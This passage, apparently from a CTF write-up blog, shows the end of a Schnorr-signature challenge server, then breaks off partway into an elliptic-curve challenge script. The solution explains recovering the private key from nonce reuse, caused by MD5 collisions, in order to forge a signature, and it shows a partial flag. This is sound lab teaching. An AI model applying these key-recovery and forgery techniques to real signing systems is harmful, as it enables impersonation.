&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ev&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rv&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">ev&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">e&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;[S]ign a message&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;[V]erify a signature&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">upper&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">md5chnorr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">MD5chnorr&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;g:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;y:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;p:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">_&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">choice&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;S&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter message&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;I am the left hand&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;No!&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Signature:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">sig&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;V&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter message&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter s&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Enter e&amp;gt; &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">md5chnorr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">verify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">msg&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;I am the left hand&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Valid signature!&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid signature!&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid choice...&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">signal&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">alarm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="initial-analysis-3">Initial Analysis&lt;/h3>
&lt;p>This challenge implements the &lt;a href="https://en.wikipedia.org/wiki/Schnorr_signature" target="_blank" rel="noopener">Schnorr signature&lt;/a>. We were given 4 parameters including the generator $g$, prime $q,p=2*q+1$ and $y=g^{x} [pq]$. To get the flag, we have to submit to &lt;code>verify&lt;/code> function a message with its signature such that there is a string &lt;code>I am the left hand&lt;/code> in the message. However we can not create signature for any message that has this string via function &lt;code>sign&lt;/code>. To solved this challenge, i create a signature by hand by retriving the private key $x$ in &lt;code>sign&lt;/code> function.&lt;/p>
&lt;h3 id="solution">Solution&lt;/h3>
&lt;p>After reading on wiki, i noticed a vulnerability section &lt;code>Key leakage from nonce reuse&lt;/code>. If we create two signatures with the same nonce $k$, then we have:&lt;/p>
&lt;p>$$s_1= k-xe_1 [q]$$&lt;/p>
&lt;p>$$s_2= k-xe_2 [q]$$&lt;/p>
&lt;p>Now we can easily get the private key $x$:&lt;/p>
&lt;p>$$x = (s_2 - s_1)(e_1e_2)^{-1}[q]$$&lt;/p>
&lt;p>But how can we create two signatures with the same $k$? From the source we know that $k$ is actually &lt;code>md5(msg|x)&lt;/code>. We can submit any $msg$ we want, so i immediately think of creating the md5 identical-prefix collision using &lt;a href="https://github.com/cr-marcstevens/hashclash" target="_blank" rel="noopener">Hashclash&lt;/a>. Hashclash will help us to find 2 messages of length 64 that has the same md5 hash, therefore &lt;code>md5(msg|x)&lt;/code> or $k$ of these messages will be the same.&lt;/p>
&lt;p>After getting $x$, with any message that has the required string we can easily compute $k$ and then $r$, create our own signature $e$ and submit to server to get the flag.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{w3ll_y3s_bu7_4c7ual1y_n0…}&lt;/strong>&lt;/p>
&lt;h2 id="elliptic-labyrinth">Elliptic Labyrinth&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1w4QyL7cKzhcZJ_qqakudh6fXLtj8mk6p/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you navigate through the labyrinth inside the tomb, you encounter GPS inaccuracies that make it difficult to determine the correct path to the exit. Can you overcome the technical issues and use your instincts to find your way out of the maze?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The server script is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">json&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">FLAG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">ECC&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bits&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">bits&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">gen_random_point&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EllipticCurve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1. Get parameters of path&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2. Get point in path&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;3. Try to exit the labyrinth&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ec&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ECC&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">512&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">choice&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;p&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">A&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">gen_random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="s1">&amp;#39;x&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]),&lt;/span> &lt;span class="s1">&amp;#39;y&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;3&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
